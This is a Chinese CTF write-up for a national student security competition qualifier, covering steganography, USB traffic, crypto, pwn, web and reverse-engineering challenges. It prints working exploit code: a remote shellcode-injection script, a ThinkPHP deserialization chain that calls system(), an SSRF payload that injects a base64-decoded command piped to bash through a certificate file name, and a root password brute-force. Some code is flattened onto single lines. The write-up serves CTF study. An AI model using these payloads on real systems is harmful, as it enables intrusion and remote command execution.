文章总结: 本文为全国大学生信息安全能力竞赛线上初赛Writeup,涵盖MISC、CRYPTO、PWN、WEB及逆向五大方向。内容涉及LSB隐写、USB流量分析、哈希爆破、POP链构造及SSRF结合命令注入等利用技术。文中详细展示了具体解题步骤、逆向算法还原及多段Exploit脚本,技术覆盖面广且实战性强,适合CTF选手与安全技术人员参考学习。
综合评分: 90
文章分类: CTF,实战经验,WEB安全,逆向分析,二进制安全
全国大学生信息安全能力竞赛线上初赛wp
天权信研中心
天权信研中心
赛查查
2026年3月10日 10:28
北京
本文来自:天权网安生态圈
作者:天权信研中心
前言
MISC
everlasting_night:
操作内容:
010editor打开,图片最后一行有个异常数据
Lsb色彩通道分析,alpha2色彩通道有东西
将数据提取出来
根据lsb,猜想是否是cloacked-pixel隐写
得到
根据文件头是zip文件类型,但是有加密
文件里没找到相关提示,想到一开始得到的一串字符串,尝试md5解密
得到压缩包密码
解压得到
修改png后缀但是仍旧打不开,修改后缀.data,利用GIMP打开
看到图片宽度不对,修改宽度即可看到正常图片
ez_usb:
操作内容:
wireshark打开
是键盘流量但是不止一组
根据SourceIP进行分组,导出特定分组流量
使用UsbKeyboardDataHacker进行分析
16进制Rar使用010editor保存出来,解压密码是35c535765e50074a
解压得到flag
问卷调查:
操作内容:
答就完了
CRYPTO
签到电台:
操作内容:
密文的电码不变,密码本会根据docker启动更新,使用模10算法,相加不进位,得到需要发送的message,按照提示,可以使用bp发包,发送密文前,需要先发送“s”表示启动
密文:1732 2514 1344 0356 0451 6671 0055
密码本:7151 3578 5835 7646 6600 0565 7749
message:8883J5082J6179J7992J6051J6136J7794
基于挑战码的双向认证:
操作内容:
非预期解,直接使用find / -name “fla*”,可以找到flag1.txt,flag2.txt
基于挑战码的双向认证2:
操作内容:
非预期解,直接打开flag2.txt
基于挑战码的双向认证3:
操作内容:
同样路径下,找到flag2.txt,但是player权限不够打不开
尝试root弱口令字典爆破,爆破成功,密码是toor
ISO9798:
操作内容:
Sha256爆破完了,拿到密文,因为ra||rb||B,所以96位密文三等分1,2,3,根据rb||ra,输入2,1组合即可得到flag
from hashlib import *import stringfrom pwn import *
p=remote("47.93.85.188",25275)context.log_level='debug'p.recvuntil('sha256(XXXX+')end=p.recv(16).decode()p.recvuntil(') == ')sha=p.recvuntil('\n')[:-1].decode()
def getShaRes(end,sha): alp=string.ascii_letters+string.digits for a in alp: for b in alp: for c in alp: for d in alp: s=(a+b+c+d+end).encode() if sha256(s).hexdigest()==sha: return a+b+c+d
xxxx=getShaRes(end,sha)p.recvuntil('Give me XXXX: ')p.sendline(xxxx)p.recvuntil('> ')p.sendline('0')p.recvuntil('Encrypt(rA||rB||B, k) (in hex) is ')str=p.recvuntil('\n')[:-1].decode()print(str)s1=str[:32]s2=str[32:64]p.recvuntil('> ')p.sendline(s2+s1)p.recvall()
pwn
login-normal:
操作内容:
Exp:
from pwn import*ip = " 123.56.87.204"port = 35094io = remote(ip,port)elf = ELF('./login')libc = elf.libc
context(log_level='debug',os='linux',arch='amd64')
def read(content): size = len(content) io.recvuntil(">") io.send('n:'+ str(size)+'\r\n' + 'op:2\r\n\n') io.recvuntil("?") io.send(content)
def write(size): io.recvuntil(">") io.send('n:'+ str(size)+'\r\n' + 'op:3\r\n\n')
io.recvuntil(">>>")io.sendline('opt:1\r\nmsg:ro0t\r\n')
shellcode = '''Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'''
io.recvuntil(">>>")io.sendline('opt:2\r\nmsg:'+shellcode+'\r\n')
io.interactive()
web
Ezpop:
操作内容:
参考链接:https://www.freebuf.com/vuls/321546.html源码泄露www.zip入口在/index.php/index/test,post传参a
pop链
<?phpnamespace think{ abstract class Model{ private $lazySave = false; private $data = []; private $exists = false; protected $table; private $withAttr = []; protected $json = []; protected $jsonAssoc = false; function __construct($obj = ''){ $this->lazySave = True; $this->data = ['whoami' => ['dir']]; $this->exists = True; $this->table = $obj; $this->withAttr = ['whoami' => ['system']]; $this->json = ['whoami',['whoami']]; $this->jsonAssoc = True; } }}namespace think\model{ use think\Model; class Pivot extends Model{ }}
namespace{ echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
online_crt:
操作内容:
外层是个python ssrf gin
import datetimeimport jsonimport osimport socketimport uuidfrom cryptography import x509from cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import hashes, serializationfrom cryptography.hazmat.primitives.asymmetric import rsafrom cryptography.x509.oid import NameOIDfrom flask import Flaskfrom flask import render_templatefrom flask import requestapp = Flask(__name__)app.config['SECRET_KEY'] = os.urandom(16)def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress): root_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) subject = issuer = x509.Name([ x509.NameAttribute(NameOID.COUNTRY_NAME, Country), x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province), x509.NameAttribute(NameOID.LOCALITY_NAME, City), x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName), x509.NameAttribute(NameOID.COMMON_NAME, CommonName), x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress), ]) root_cert = x509.CertificateBuilder().subject_name( subject ).issuer_name( issuer ).public_key( root_key.public_key() ).serial_number( x509.random_serial_number() ).not_valid_before( datetime.datetime.utcnow() ).not_valid_after( datetime.datetime.utcnow() + datetime.timedelta(days=3650) ).sign(root_key, hashes.SHA256(), default_backend()) crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt" with open(crt_name, "wb") as f: f.write(root_cert.public_bytes(serialization.Encoding.PEM)) return crt_name /proxy GET请求 但是接收Form表单的参数 只需要请求头里加个 在Body处传参就行 类似 @app.route('/', methods=['GET', 'POST'])def index(): return render_template("index.html") @app.route('/getcrt', methods=['GET', 'POST'])def upload(): Country = request.form.get("Country", "CN") Province = request.form.get("Province", "a") City = request.form.get("City", "a") OrganizationalName = request.form.get("OrganizationalName", "a") CommonName = request.form.get("CommonName", "a") EmailAddress = request.form.get("EmailAddress", "a") return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress) @app.route('/createlink', methods=['GET'])def info(): json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()} return json.dumps(json_data) @app.route('/proxy', methods=['GET'])def proxy(): uri = request.form.get("uri", "/") client = socket.socket() client.connect(('localhost', 8887)) msg = f'''GET {uri} HTTP/1.1 Host: test_api_host User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ''' client.send(msg.encode()) data = client.recv(2048) client.close() return data.decode() app.run(host="0.0.0.0", port=8888)### unterminated keywords ###
/proxy GET请求 但是接收Form表单的参数 只需要请求头里加个
Content-Type: application/x-www-form-urlencoded
后端是go gin写的
package mainimport ( "github.com/gin-gonic/gin" "strings" )func admin(c *gin.Context) { staticPath := "/app/static/crt/" oldname := c.DefaultQuery("oldname", "") newname := c.DefaultQuery("newname", "") if oldname == "" || newname == "" || strings.Contains(oldname, "..") ||strings.Contains(newname, "..") { c.String(500, "error") return} if c.Request.URL.RawPath != "" && c.Request.Host == "admin" { err := os.Rename(staticPath+oldname, staticPath+newname) if err != nil { return } c.String(200, newname) return } c.String(200, "no")}func index(c *gin.Context) { c.String(200, "hello world")}func main() { router := gin.Default() router.GET("/", index) router.GET("/admin/rename", admin) if err := router.Run(":8887"); err != nil { panic(err) }
}
主要是进入
c.Request.URL.RawPath != "" && c.Request.Host == "admin"
RawPath表示解码前的路径 所以只需要将/url编码就行
Host为请求头里的Host字段的值
在上面的SSRF处使用\r\n来将后面的内容作为body的一部分
脚本如下:
import urllib.parseuri = '''/admin%2frename?oldname=`sleep%205`.crt&newname=`echo%20Y2F0IC9mKiAgPiAvYXBwL3N0YXRpYy8xLmpz%20|%20base64%20-d%20|%20bash`.crt HTTP/1.1Host: adminContent-Length: 136Connection: close'''gopher = uri.replace("\n","\r\n")enc = urllib.parse.quote(gopher)print(enc)
首先创建证书 然后ssrf修改证书名字为命令注入的payload 最后访问/createlink路由 触发c_rehash脚本这个脚本可以命令注入
文件名如下就行
`sleep 3`.crt
将flag写到static目录访问就行
re
baby_tree:
res=[88,35,88,225,7,201,57,94,77,56,75,168,72,218,64,91,16,101,32,207,73, 130,74,128,76,201,16,248,41,205,103,84,91,99,79,202,22,131,63,255,20,16]
key=[ord(c) for c in "345y"]
def my_encode(data,key): b=data k=key for i in range(len(b)-4+1): r0,r1,r2,r3=b[i],b[i+1],b[i+2],b[i+3] b[i]=r2^((k[0]+(r0>>4))&0xff) b[i+1]=r3^((k[1]+(r1>>2))&0xff) b[i+2]=r0^k[2] b[i+3]=r1^k[3] k[0],k[1],k[2],k[3]=k[1],k[2],k[3],k[0] return b==res
def my_decode(data,key): b=data k=key k[0], k[1], k[2], k[3] = k[2], k[3], k[0],k[1] for i in range(38,-1,-1): r1=b[i+3]^k[3] r0=b[i+2]^k[2] r3=b[i+1]^((k[1]+(r1>>2))&0xff) r2=b[i]^((k[0]+(r0>>4))&0xff) k[1], k[2], k[3], k[0] = k[0], k[1], k[2], k[3] b[i], b[i + 1], b[i + 2], b[i + 3] = r0, r1, r2, r3 print("".join(chr(i) for i in b))
my_decode(res,key)# flag{30831242-56db-45b4-96fd-1f47e60da99d}rere
结语
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛查查 天权信研中心
天权信研中心《全国大学生信息安全能力竞赛线上初赛wp》